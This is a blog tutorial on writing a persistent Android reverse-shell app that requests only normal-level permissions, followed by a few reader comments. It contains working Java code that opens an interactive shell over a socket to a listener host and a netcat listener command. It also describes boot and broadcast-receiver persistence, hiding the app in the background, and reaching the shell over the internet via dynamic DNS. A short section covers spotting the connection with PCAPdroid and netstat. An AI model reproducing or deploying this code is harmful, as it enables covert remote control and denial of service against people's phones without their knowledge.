This blog will introduce you how it is possible to write a persistent reverse shell app on Android without any user requested and visible permissions. Since such application has no permissions, it shouldn’t be able to perform any task. Well, that isn’t true. We will take a quick look on how Android permissions system works, how it is possible for such permissions-less shell app to execute remote Denial-Of-Service (DoS), list installed apps and others. Besides that, I will show you how to identify such established reverse shell connection from your Android device and get rid of it.
Disclaimer: The information provided in this blog post is intended for educational and informational purposes only. It is not intended to encourage or promote any illegal or unethical activities, including hacking, cyberattacks, or any form of unauthorized access to computer systems, networks, or data.
How it works without visible permissions
To accomplish above mentioned scenario, we need to developer an Android app that will connect to our device and handles network input output operations. Second device will run netcat utility and will wait for connection. Netcat or nc
is a versatile networking tool commonly referred to as the “Swiss Army knife” of networking. It’s available on various Unix-like operating systems, including Linux, and can also be used on Windows. Netcat’s primary purpose is to establish network connections and perform various network-related tasks.
Android is permission-based model. If our app wants to make any network related tasks, such as connect to specific IP address, it needs to have defined necessary permission in AndroidManifest.xml
file. If such permission is not specified, then the app can’t use specific API calls that requires it. This can’t be bypassed. Because of that, we need “android.permission.INTERNET
” permission which protection level is defined as normal
. Android divides all permissions into four protection level categories:
Normal -
A lower-risk permission that gives requesting applications access to isolated application-level features with minimal risk to other applications, the system, or the user.
Dangerous
– A higher-risk permission that gives a requesting application access to private user data or control over the device that can negatively impact the user.
Signature
– A permission that the system grants only if the requesting application is signed with the same certificate as the application that declared the permission.
signatureOrSystem
– A permission that the system grants only to applications that are in a dedicated folder on the Android system image or that are signed with the same certificate as the application that declared the permission.
For our purpose, permissions with protection level normal
is what we are interested in. If these permissions are defined in AndroidManifest.xml
, they don’t need to be manually allowed by user during runtime and are even not visible from App info context menu, see Figure 1.
Android defines 32 permissions with level normal
. Complete list of all the permissions with definition of its usage are listed here. For conveniency, below I listed only permissions with protection level normal and their usage.
<!-- Allows an app to use fingerprint hardware.-->
<permission android:name="android.permission.USE_FINGERPRINT">
<!-- Allows an application to broadcast an Intent to set an alarm for the user.-->
<permission android:name="com.android.alarm.permission.SET_ALARM">
<!-- Allows an application to access extra location provider commands -->
<permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS">
<!-- Allows applications to open network sockets. -->
<permission android:name="android.permission.INTERNET">
<!-- Allows applications to access information about networks -->
<permission android:name="android.permission.ACCESS_NETWORK_STATE">
<!-- Allows applications to access information about Wi-Fi networks. -->
<permission android:name="android.permission.ACCESS_WIFI_STATE">
<!-- Allows applications to change Wi-Fi connectivity state. -->
<permission android:name="android.permission.CHANGE_WIFI_STATE">
<!-- Allows applications to connect to paired bluetooth devices. -->
<permission android:name="android.permission.BLUETOOTH">
<!-- Allows applications to discover and pair bluetooth devices. -->
<permission android:name="android.permission.BLUETOOTH_ADMIN">
<!-- Allows applications to perform I/O operations over NFC. -->
<permission android:name="android.permission.NFC"
<!-- Allows access to the list of accounts in the Accounts Service. -->
<permission android:name="android.permission.GET_ACCOUNTS">
<!-- Allows applications to enter Wi-Fi Multicast mode. -->
<permission android:name="android.permission.CHANGE_WIFI_MULTICAST_STATE">
<!-- Allows access to the vibrator. -->
<permission android:name="android.permission.VIBRATE">
<!-- Allows access to the flashlight. -->
<permission android:name="android.permission.FLASHLIGHT">
<!-- Allows using PowerManager WakeLocks to keep processor from sleeping or screen
from dimming. -->
<permission android:name="android.permission.WAKE_LOCK">
<!-- Allows using the device's IR transmitter, if available. -->
<permission android:name="android.permission.TRANSMIT_IR">
<!-- Allows an application to modify global audio settings. -->
<permission android:name="android.permission.MODIFY_AUDIO_SETTINGS">
<!-- Allows applications to disable the keyguard if it is not secure. -->
<permission android:name="android.permission.DISABLE_KEYGUARD">
<!-- Allows an application to change the Z-order of tasks. -->
<permission android:name="android.permission.REORDER_TASKS">
<!-- Allows an application to call
{@link android.app.ActivityManager#killBackgroundProcesses}. -->
<permission android:name="android.permission.KILL_BACKGROUND_PROCESSES">
<!-- Allows applications to set the wallpaper. -->
<permission android:name="android.permission.SET_WALLPAPER">
<!-- Allows applications to set the wallpaper hints. -->
<permission android:name="android.permission.SET_WALLPAPER_HINTS">
<!-- Allows applications to set the system time zone. -->
<permission android:name="android.permission.SET_TIME_ZONE">
<!-- Allows an application to install a shortcut in Launcher. -->
<permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT">
<!-- Allows applications to read the sync settings. -->
<permission android:name="android.permission.READ_SYNC_SETTINGS">
<!-- Allows applications to read the sync stats. -->
<permission android:name="android.permission.READ_SYNC_STATS">
<!-- Allows an application to find out the space used by any package. -->
<permission android:name="android.permission.GET_PACKAGE_SIZE">
<!-- Allows an application to receive the
{@link android.content.Intent#ACTION_BOOT_COMPLETED} that is
broadcast after the system finishes booting. If you don't
request this permission, you will not receive the broadcast at
that time. Though holding this permission does not have any
security implications, it can have a negative impact on the
user experience by increasing the amount of time it takes the
system to start and allowing applications to have themselves
running without the user being aware of them. As such, you must
explicitly declare your use of this facility to make that visible
to the user. -->
<permission android:name="android.permission.RECEIVE_BOOT_COMPLETED">
<!-- Allows an application to broadcast sticky intents. These are
broadcasts whose data is held by the system after being finished,
so that clients can quickly retrieve that data without having
to wait for the next broadcast. -->
<permission android:name="android.permission.BROADCAST_STICKY">
<!-- Allows applications to change network connectivity state. -->
<permission android:name="android.permission.CHANGE_NETWORK_STATE">
<!-- Allows an application to request installing packages. Apps
targeting APIs greater than 22 must hold this permission in
order to use {@link android.content.Intent#ACTION_INSTALL_PACKAGE}. -->
<permission android:name="android.permission.REQUEST_INSTALL_PACKAGES">
<!-- Marker permission for applications that wish to access notification policy. -->
<permission android:name="android.permission.ACCESS_NOTIFICATION_POLICY">
This means that we can use API calls that requires any of these permissions in our app, and user will net be notified about it.
Implementation
From the code perspective, we need three things – define permissions, create socket and include persistence.
You can define any permissions from above list, or even include all of them in AndroidManifest.xml
.
For the connection I will use a local IP, however, using dynamic DNS it would be possible to make such connection over internet. In the code snippet below, I created socket that connects to our device with IP address 192.168.0.192 on port 4444.
Runnable runnable = new Runnable() {
@Override
public void run() {
try {
String[] cmd = {"/bin/sh","-i"};
Process proc = Runtime.getRuntime().exec(cmd);
InputStream proc_in = proc.getInputStream();
OutputStream proc_out = proc.getOutputStream();
InputStream proc_err = proc.getErrorStream();
Socket socket = new Socket("192.168.0.192",4444);
InputStream socket_in = socket.getInputStream();
OutputStream socket_out = socket.getOutputStream();
while(true){
while(proc_in.available()>0) socket_out.write(proc_in.read());
while(proc_err.available()>0) socket_out.write(proc_err.read());
while(socket_in.available()>0) proc_out.write(socket_in.read());
socket_out.flush();
proc_out.flush();
}
} catch (IOException e) {
e.printStackTrace();
}catch (StringIndexOutOfBoundsException e) {
e.printStackTrace();
}
}
To make our app persistent, which means it will connect to our netcat
listener every time when device gets restarted, connectivity changes or user just unlocks the screen, we need to include an intent filter in AndroidManifest or dynamically register broadcast listener that will be triggered when defined actions occurs and immediately execute the code above and connects to the listener. This is standard persistence technique listed in MITRE ATT&CK® for Mobile under Persistence tactic and defined as Boot or Logon Initialization Scripts (T1398) and Event Triggered Execution: Broadcast Receivers (T1624.001).
Remote control
On a device that will control our target, we need to start netcat
listener on port 4444, the same as defined in the code, using command:
nc -nvlp 4444
On targeted smartphone, install and open Totally not a virus. Trust me...im a dolphin
app.
Once app is opened, we got shell. I also implemented call that moves main activity into background using method moveTaskToBack(true)
, so it looks like app doesn’t work.
In reverse shell, we can send standard Linux or Android commands, but don’t forget we are limited by defined permissions. Practically, we can:
- list directories (we can’t see actual files, we are missing
android.permission.READ_EXTERNAL_STORAGE
permission), - list packages of installed apps,
- trigger Denial-Of-Service (DoS) attack that makes device partially unusable,
- reboot device (if device is already rooted),
- get standard device information such as model, manufacturer, OS version, etc.,
- dumpsys,
- request superuser privileges (if device is already rooted).
In the video below, you can see the whole process.
Identify reverse shell connection
To inspect incoming and outcoming network traffic, you can install any network inspection app from Google Play such as PCAPdroid and launch monitoring. This will reveal all the communication coming in and out from your smartphone. Finding unwanted traffic from reverse shell might take some time and requires you to investigate transferred data in Payload
section. If app communicates using HTTPS protocol, then data will be encrypted, and inspection will not help. In our case, besides Google services apps, we see only our Totally not a virus. Trust me...im a dolphin
app is active, and we can notice IP address and port the app uses for communication, see Figure 2.
Tapping on the CONNECTIONS
menu, we get its overview and payload that contains received and executed commands, see Figure 3.
List of open connections you can get even from terminal app such as Termux using netstat utility. Its primary purpose is to provide information and statistics about network connections, routing tables, interface statistics, masquerade connections, and more. The name netstat
is short for “network statistics”. To return TCP connections, use command netstat -tnap
. Command output is visible in Figure 4.
It is also possible to obtain PID
and Program name
responsible for the connection, however only as superuser, which means that device needs to be rooted.
From PCAPdroid we found our reverse shell app. From app menu we can find this app and uninstall it.
Conclusion
We were able to create a reverse shell app without any visible permissions and still were able to perform few tasks. As a result, we could perform a persistent DoS to make user device practically unusable. This was possible because of implemented persistence via intent filters that would launch our application and would connect to our listener after each reboot or anytime user locks or unlocks device.
Hi I need to get through this project deeply. So can you plz respective app to do this project.
if theres any video proof content…plzbe kind enough to share it with me
Get persistent reverse shell from Android app without visible permissions to make device unusable
I think is hacked or like above it repeatedly refreshing and opens other apps from back ground what is solution on it please reply.
About my smart phone📱
My pendrive was not recognizing in my phone and pc how recollect every thing with termux
Please video tutorial on this topic
Nice’